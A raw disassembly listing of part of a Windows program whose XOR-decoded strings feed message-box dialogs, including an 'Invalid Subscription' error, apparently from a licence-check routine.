vxorps xmm2, xmm2, xmmword [rbp + 0x480]
vmovdqa xmmword [rbp + 0x320], xmm2
mov r9d, 0x10
lea r8, [rbp + 0x2c0]
lea rdx, [rbp + 0x300]
xor ecx, ecx
vzeroupper
call qword [sym.imp.USER32.dll_MessageBoxW]
xor ecx, ecx
call fcn.14005ccfc
nop
call fcn.1400020f0
nop
call fcn.140065360
nop
xor ecx, ecx
call fcn.14005ccfc
nop
call fcn.140065360
nop
movabs rax, 0x30cc9947178d768
mov qword [rbp + 0x280], rax
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x2c0], rax
mov qword [rbp + 0x280], r13
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x2c8], rax
mov qword [rbp + 0x280], rdi
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x2a0], rax
mov qword [rbp + 0x280], r13
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x2a8], rax
movdqa xmm0, xmmword [rbp + 0x2c0]
xorps xmm0, xmmword [rbp + 0x2a0]
movdqa xmmword [rbp + 0x2c0], xmm0
lea rdx, [rbp + 0x2c0]
lea rcx, [rbp + 0x380]
call fcn.14001d8b0
mov rdx, rax
lea rcx, [rbp + 0x460]
call fcn.14001d900
mov r8, rax
movabs rax, 0x2353dd80766ac656
mov qword [rbp + 0x280], rax
mov rcx, qword [rbp + 0x280]
mov qword [rbp + 0x2c0], rcx
mov qword [rbp + 0x280], r13
mov rcx, qword [rbp + 0x280]
mov qword [rbp + 0x2c8], rcx
mov qword [rbp + 0x280], rdi
mov rcx, qword [rbp + 0x280]
mov qword [rbp + 0x2a0], rcx
mov qword [rbp + 0x280], r13
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x2a8], rax
movdqa xmm0, xmmword [rbp + 0x2c0]
xorps xmm0, xmmword [rbp + 0x2a0]
movdqa xmmword [rbp + 0x2c0], xmm0
lea rdx, [rbp + 0x2c0]
lea rcx, [rbp + 0x300]
call fcn.14001c830
nop
lea rcx, [rbp + 0x460]
call fcn.140016d40
movabs rax, 0x369aef5020bb20f
mov qword [rbp + 0x280], rax
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x2c0], rax
mov qword [rbp + 0x280], r13
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x2c8], rax
mov qword [rbp + 0x280], rdi
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x2a0], rax
mov qword [rbp + 0x280], r13
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x2a8], rax
movdqa xmm0, xmmword [rbp + 0x2c0]
xorps xmm0, xmmword [rbp + 0x2a0]
movdqa xmmword [rbp + 0x2c0], xmm0
lea rdx, [rbp + 0x2c0]
lea rcx, [0x1400b2200]
call fcn.14001d090
mov edx, 1
lea rcx, [rbp + 0x300]
call fcn.140009bd0
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call fcn.14005ccfc
nop
call fcn.140065360
nop
call fcn.140065360
nop
call fcn.140065360
nop
call fcn.140065360
nop
call fcn.140065360
nop
call fcn.140065360
nop
call fcn.140065360
nop
call fcn.140065360
nop
call fcn.140065360
nop
call fcn.140065360
nop
call fcn.140065360
nop
call fcn.140065360
nop
call fcn.140065360
nop
call fcn.140065360
nop
call fcn.140065360
nop
call fcn.140065360
nop
call fcn.140065360
nop
call fcn.140065360
nop
call fcn.140065360
nop
call fcn.140065360
int3
call fcn.140002190
int3
call fcn.140065360
nop
call fcn.140065360
nop
mov rcx, rax
call fcn.14001a5b0
mov qword [rbp + 0x280], rax
lea r8, [rbp + 0x280]
lea rcx, [rbp + 0x460]
call fcn.14002dfc0
nop
mov r8, rax
lea rcx, [rbp + 0x300]
call fcn.14002dd80
lea rdx, [0x1400ab2e8]
lea rcx, [rbp + 0x300]
call fcn.14005085c
nop
mov rcx, rax
call fcn.14001a5b0
mov qword [rbp + 0x280], rax
lea r8, [rbp + 0x280]
lea rcx, [rbp + 0x460]
call fcn.14002dfc0
nop
mov r8, rax
lea rcx, [rbp + 0x300]
call fcn.14002dd80
lea rdx, [0x1400ab2e8]
lea rcx, [rbp + 0x300]
call fcn.14005085c
nop
call fcn.140065360
nop
mov rcx, rax
call fcn.14001a5b0
mov qword [rbp + 0x280], rax
lea r8, [rbp + 0x280]
lea rcx, [rbp + 0x460]
call fcn.14002dfc0
nop
mov r8, rax
lea rcx, [rbp + 0x300]
call fcn.14002dd80
lea rdx, [0x1400ab2e8]
lea rcx, [rbp + 0x300]
call fcn.14005085c
nop
mov rcx, rax
call fcn.14001a5b0
mov qword [rbp + 0x280], rax
lea r8, [rbp + 0x280]
lea rcx, [rbp + 0x460]
call fcn.14002dfc0
nop
mov r8, rax
lea rcx, [rbp + 0x300]
call fcn.14002dd80
lea rdx, [0x1400ab2e8]
lea rcx, [rbp + 0x300]
call fcn.14005085c
nop
mov ecx, 1
call fcn.14004b558
int3
mov ecx, 5
call fcn.14004b558
int3
mov ecx, 2
call fcn.14004b558
nop
mov dword [rbp + 0x2a8], r12d
mov ecx, 6
call fcn.14004b558
nop
movabs rax, 0x31dae9b0264b246
mov qword [rbp + 0x280], rax
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x40], rax
movabs rax, 0x34967fa09310b773
mov qword [rbp + 0x280], rax
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x48], rax
movabs rax, 0xf36c73d211a3e176
mov qword [rbp + 0x280], rax
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x50], rax
movabs rax, 0xf9954b4e45141d52
mov qword [rbp + 0x280], rax
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x58], rax
movabs rdx, 0x369aef5020bb205
mov qword [rbp + 0x280], rdx
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x430], rax
mov qword [rbp + 0x280], r13
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x438], rax
mov qword [rbp + 0x280], rbx
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x440], rax
mov qword [rbp + 0x280], rsi
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x448], rax
vmovdqu ymm0, ymmword [rbp + 0x430]
vpxor ymm1, ymm0, ymmword [rbp + 0x40]
vmovdqu ymmword [rbp + 0x40], ymm1
movabs rax, 0x305ae9c026ab243
mov qword [rbp + 0x280], rax
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x300], rax
movabs rax, 0x34967fbb9327b732
mov qword [rbp + 0x280], rax
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x308], rax
movabs rax, 0xf37573d211a8e174
mov qword [rbp + 0x280], rax
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x310], rax
movabs rax, 0xf9f04b3a45711d50
mov qword [rbp + 0x280], rax
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x318], rax
movabs rax, 0xa8e65d10822167f9
mov qword [rbp + 0x280], rax
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x320], rax
movabs rax, 0x869037c04755d3ed
mov qword [rbp + 0x280], rax
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x328], rax
mov qword [rbp + 0x280], rdx
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x460], rax
mov qword [rbp + 0x280], r13
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x468], rax
mov qword [rbp + 0x280], rbx
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x470], rax
mov qword [rbp + 0x280], rsi
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x478], rax
movabs rax, 0xa8955d71827567d9
mov qword [rbp + 0x280], rax
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x480], rax
movabs rcx, 0x869037c04774d386
mov qword [rbp + 0x280], rcx
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x488], rax
vmovdqu ymm0, ymmword [rbp + 0x460]
vpxor ymm1, ymm0, ymmword [rbp + 0x300]
vmovdqa ymmword [rbp + 0x300], ymm1
vmovdqa xmm2, xmmword [rbp + 0x320]
vxorps xmm2, xmm2, xmmword [rbp + 0x480]
vmovdqa xmmword [rbp + 0x320], xmm2
mov r9d, 0x10
lea r8, [rbp + 0x40]
lea rdx, [rbp + 0x300]
xor ecx, ecx
vzeroupper
call qword [sym.imp.USER32.dll_MessageBoxW]
xor ecx, ecx
call fcn.14005ccfc
nop
mov dword [rbp + 0x2c8], r12d
mov ecx, 6
call fcn.14004b558
nop
xor edx, edx
mov rcx, r14
call qword [sym.imp.USER32.dll_ShowWindow]
movabs rax, 0x369aef50279b240
mov qword [rbp + 0x280], rax
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x2c0], rax
mov qword [rbp + 0x280], r13
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x2c8], rax
movabs rdx, 0x369aef5020bb205
mov qword [rbp + 0x280], rdx
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x2a0], rax
mov qword [rbp + 0x280], r13
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x2a8], rax
movdqa xmm0, xmmword [rbp + 0x2c0]
xorps xmm0, xmmword [rbp + 0x2a0]
movdqa xmmword [rbp + 0x2c0], xmm0
movabs rax, 0x308ae900267b255
mov qword [rbp + 0x280], rax
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x300], rax
movabs rax, 0x34f97ff49316b761
mov qword [rbp + 0x280], rax
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x308], rax
movabs rax, 0xf32573d111a2e147
mov qword [rbp + 0x280], rax
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x310], rax
movabs rax, 0xf9f04b38457d1d7a
mov qword [rbp + 0x280], rax
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x318], rax
movabs rax, 0xa8955d7182756794
mov qword [rbp + 0x280], rax
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x320], rax
movabs rcx, 0x869037c04774d386
mov qword [rbp + 0x280], rcx
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x328], rax
mov qword [rbp + 0x280], rdx
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x460], rax
mov qword [rbp + 0x280], r13
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x468], rax
mov qword [rbp + 0x280], rbx
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x470], rax
mov qword [rbp + 0x280], rsi
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x478], rax
movabs rax, 0xa8955d71827567d9
mov qword [rbp + 0x280], rax
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x480], rax
mov qword [rbp + 0x280], rcx
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x488], rax
vmovdqu ymm0, ymmword [rbp + 0x460]
vpxor ymm1, ymm0, ymmword [rbp + 0x300]
vmovdqa ymmword [rbp + 0x300], ymm1
vmovdqa xmm2, xmmword [rbp + 0x320]
vxorps xmm2, xmm2, xmmword [rbp + 0x480]
vmovdqa xmmword [rbp + 0x320], xmm2
mov r9d, 0x10
lea r8, [rbp + 0x2c0]
lea rdx, [rbp + 0x300]
xor ecx, ecx
vzeroupper
call qword [sym.imp.USER32.dll_MessageBoxW]
xor ecx, ecx
call fcn.14005ccfc
int3
mov rcx, r14
call qword [sym.imp.USER32.dll_ShowWindow]
movabs rax, 0x369aef50279b240
mov qword [rbp + 0x280], rax
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x2c0], rax
mov qword [rbp + 0x280], r13
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x2c8], rax
mov qword [rbp + 0x280], rdi
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x2a0], rax
mov qword [rbp + 0x280], r13
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x2a8], rax
movdqa xmm0, xmmword [rbp + 0x2c0]
xorps xmm0, xmmword [rbp + 0x2a0]
movdqa xmmword [rbp + 0x2c0], xmm0
movabs rax, 0x308ae900267b255
mov qword [rbp + 0x280], rax
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x300], rax
movabs rax, 0x34f97ff49316b761
mov qword [rbp + 0x280], rax
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x308], rax
movabs rax, 0xf32573d111a2e147
mov qword [rbp + 0x280], rax
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x310], rax
movabs rax, 0xf9f04b38457d1d7a
mov qword [rbp + 0x280], rax
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x318], rax
movabs rax, 0xa8955d7182756794
mov qword [rbp + 0x280], rax
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x320], rax
movabs rcx, 0x869037c04774d386
mov qword [rbp + 0x280], rcx
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x328], rax
mov qword [rbp + 0x280], rdi
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x460], rax
mov qword [rbp + 0x280], r13
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x468], rax
mov qword [rbp + 0x280], rbx
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x470], rax
mov qword [rbp + 0x280], rsi
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x478], rax
movabs rax, 0xa8955d71827567d9
mov qword [rbp + 0x280], rax
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x480], rax
mov qword [rbp + 0x280], rcx
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x488], rax
vmovdqu ymm0, ymmword [rbp + 0x460]
vpxor ymm1, ymm0, ymmword [rbp + 0x300]
vmovdqa ymmword [rbp + 0x300], ymm1
vmovdqa xmm2, xmmword [rbp + 0x320]
vxorps xmm2, xmm2, xmmword [rbp + 0x480]
vmovdqa xmmword [rbp + 0x320], xmm2
mov r9d, 0x10
lea r8, [rbp + 0x2c0]
lea rdx, [rbp + 0x300]
xor ecx, ecx
vzeroupper
call qword [sym.imp.USER32.dll_MessageBoxW]
xor ecx, ecx
call fcn.14005ccfc
nop
call fcn.140065360
nop
mov r9d, 0x10
lea r8, [0x140099a00]
lea rdx, str.Invalid_Subscription_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
xor ecx, ecx
call fcn.14005ccfc
nop
call fcn.140065360
nop
call fcn.140065360
nop
call fcn.140065360
nop
call fcn.140065360
nop
call fcn.140065360
nop
call fcn.140065360
nop
call fcn.140065360
nop
call fcn.140065360
int3